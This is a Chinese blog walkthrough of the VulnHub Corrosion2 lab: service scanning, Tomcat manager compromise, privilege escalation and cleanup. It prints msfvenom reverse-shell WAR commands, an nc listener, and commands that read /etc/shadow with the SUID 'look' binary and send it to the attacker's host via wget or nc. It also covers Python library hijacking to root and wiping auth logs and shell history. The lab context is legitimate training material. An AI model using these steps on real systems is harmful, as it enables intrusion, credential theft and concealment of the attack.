vulnhub靶场之corrosion2

corrosion笔记

前言

靶机:corrosion2

攻击:kali

主机发现

使用arp-scan -l扫描

在这里插入图片描述

信息收集

使用nmap扫描目标

nmap -sV -O 192.168.1.31

在这里插入图片描述

  • 22端口SSH服务
  • 80端口http服务(apache 2.4.41)
  • 8080端口http服务(tomcat 9.0.53)
  • linux系统4.x|5.x

访问80端口和8080端口,都是服务的默认页面

在这里插入图片描述

在这里插入图片描述

访问8080端口的host manager出现403拒绝,但是报出一些信息,是一些示例

在这里插入图片描述

目录扫描

先对80端口进行目录扫描,看样子,没有东西,重点应该在8080端口

在这里插入图片描述

扫描8080端口的目录

在这里插入图片描述

目录其实也没有东西,重点看来确实在8080端口,应该是登录上面

使用burp抓取登录数据包,因为kali在虚拟机有点卡,所以这里在物理机上抓包

点击manager app模块,输入用户名tomcat和密码tomcat

抓取数据包可以看到,身份认证这里是采用编码进行统一在一起的

在这里插入图片描述

使用burp中的decoder模块进行解码,逐一分析可以看到用户名tomcat对应着base64编码中的一部分

在这里插入图片描述

:tomcat对应着后面一部分

在这里插入图片描述

知道构造后,进行爆破,当然需要设置一些参数,首先假设tomcat就是用户名,直接爆破其密码,因为一般默认用户名都是tomcat,只需要把tomcat这一部分的base64编码保持不动即可,重点爆破:passwd这里

在这里插入图片描述

然后选择针对密码的字典进行爆破

但是啊,这里换了几个字典,都没有问题,那么我就思考,应该还有什么隐藏信息吧,之前的目录扫描只是扫描一层目录,然后就不深究了,这里还是再深入扫描检测一下

使用dirsearch进行扫描测试,发现存在之前没有扫描到的目录,一个压缩包,一个readme.txt

当然这里也可以继续使用gobusterffuf,因为之前一直使用这两个,所以今天换一换,说不定能扫描出不一样的

而且dirsearch支持递归扫描,不需要一个一个的去扫,在gobuster中使用-x参数可以扫描扩展名的,与ffuf中的-e差不多

在这里插入图片描述

漏洞发现

访问readme.txt进行查看

在这里插入图片描述

说这是系统管理员,在服务器上有一个文件,并确定没人能找到,也让他记住管理员给的密码

这时再访问这个压缩包进行下载查看,结合来看,这很有可能有密码在里面

在这里插入图片描述

需要密码,和之前一样,可以使用fcrackzip破解或使用jhon套件先转换再破解

在这里插入图片描述

查看这些获取到的文件,在tomcat-users.xml中发现信息

在这里插入图片描述

使用账户密码进行登录,权限来说,admin更高,所以以这个身份登录

访问之后发现可以上传文件,不过文件的格式必须是war,而这个格式是java中的打包

在这里插入图片描述

漏洞利用

使用工具生成一个反向连接,所以这里要注意payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe


msfvenom -p java/jsp_shell_reverse_tcp  LHOST=192.168.1.16 LPORT=8888 -f war -o shell.war

在这里插入图片描述

按照上面的上传部署即可

在这里插入图片描述

这里不知道出了什么问题,导致无法连接,但是上传都是成功的

不过已经有了用户名和密码,管理界面也是可以访问,那么使用msf中的模块设置参数进行反弹

但是使用msf也是出错,所以这里重置靶场,后的IP地址会发生变化

开启监听,然后点击部署的目录即可成功

nc -lvvp 8888

这里提示,所以换用msf

在这里插入图片描述

使用msf中的tomcat_mgr_upload模块并配置相关参数

在这里插入图片描述

直接runexploit执行

成功,获取,使用shell命令获取一个终端

在这里插入图片描述

因为非交互式很不舒服,所以尝试寻找python版本,然后获取交互式

在这里插入图片描述

先去/home目录查看,发现两个用户,尝试进入其目录

在这里插入图片描述

randy下,发现几个文件,一个个的查看

在这里插入图片描述

提权

提权1,获取密码

note.txt中有系统管理员的话,意思就是现在randy用户没有删除或添加文件的权限

那么这时候使用find查找SUID特权,发现有sudo但是执行时,输入的密码不正确,尝试切换其他用户,su也是find找到的,这里知道两个密码,对切换的用户来回测试

在这里插入图片描述

知道jaye的密码,使用ssh连接,然后使用find命令再次寻找

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

切换目录查看

在这里插入图片描述

尝试查看内容,无权限

在这里插入图片描述

然后发现,这是一个命令,用法都有

简单介绍一个look命令,look 命令是一个用于在 Unix 和类 Unix 系统中查找单词的工具。它的主要功能是根据给定的前缀从字典文件中查找匹配的单词。

这里sudo -l,不允许使用,所以find找到的,能用的也只有这个,所以现在从linux中存储用户名和密码的地方入手

在网站gtfobins寻找用法

在这里插入图片描述

使用look,把hash复制,到本地使用john等破解

在这里插入图片描述

同样的方法,把/etc/passwd也复制到本地的文件中

或者使用

./look '' "/etc/passwd" > ../user.txt
./look '' "/etc/shadow" > ../shadow.txt
cd ..
python3 -m http.server 9999
wget 192.168.1.33:9999/user.txt
wget 192.168.1.33:9999/shadow.txt	
当然,前提是有wget,如没有,还可以使用nc
nc 192.168.1.16 9999 < user.txt	然后kali监听即可

在这里插入图片描述

提权2,破解密码

然后使用unshadow将两个文件合并

在这里插入图片描述

使用join进行破解

john --wordlist=/usr/share/wordlists/rockyou.txt userpass.txt

这里因为爆破时间太长了,所以就放着让他爆破,我去网上找别人破解过的

所以这里因为恢复快照并忘了截图,提供一个用户名和密码

用户名 randy

密码 07051986randy

提权3,python文件提权

破解完成,使用randy登录

在这里插入图片描述

有一个文件具有权限,去目录下查看,其他用户没有写权限

在这里插入图片描述

查看python文件后,发现导入了base64包,寻找这个包的位置locate

python中一般都是从lib库中调用

在这里插入图片描述

有写权限,那么尝试写入提权到rootbash命令,因为原本的pythin脚本所有者是root,当执行时,是以root身份执行

使用vi或者nano编辑器,因为vim没安装

在这里插入图片描述

使用sudo python3.8执行脚本

在这里插入图片描述

清除痕迹

清空日志

一般是使用sed -i "/192.168.1.16/d" auth.log,不过这里因为又尝试了一些操作,导致太乱,所以这样清空

在这里插入图片描述

清空历史命令

在这里插入图片描述

总结

  1. 目录扫描一定要仔细,可能会错过重要信息
  2. 对于压缩包的密码破解,使用fcrackzip或者john套件都可以
  3. tomcat一般对于用户的相关信息可能放在tomcat_user.xml
  4. tomcat中密码多用的可能性还是有的
  5. 善用find / -perm -u=s -type f 2>/dev/null发现特权的命令
  6. look的一些特权用法可以在网址gtfobins.github.io去查看
  7. 添加或者移动文件时,要注意文件夹是否有权限
  8. unshadow的使用和john密码破解
  9. 使用sudo -l寻找哪些文件可能有root权限
  10. 对于python提权的方式有很多,这里是直接本地调用bash,还可以通过反弹获取终端,不过代码可能会麻烦一些
posted @ 2024-11-28 16:37  whitehe  阅读(49)  评论(0)    收藏  举报  来源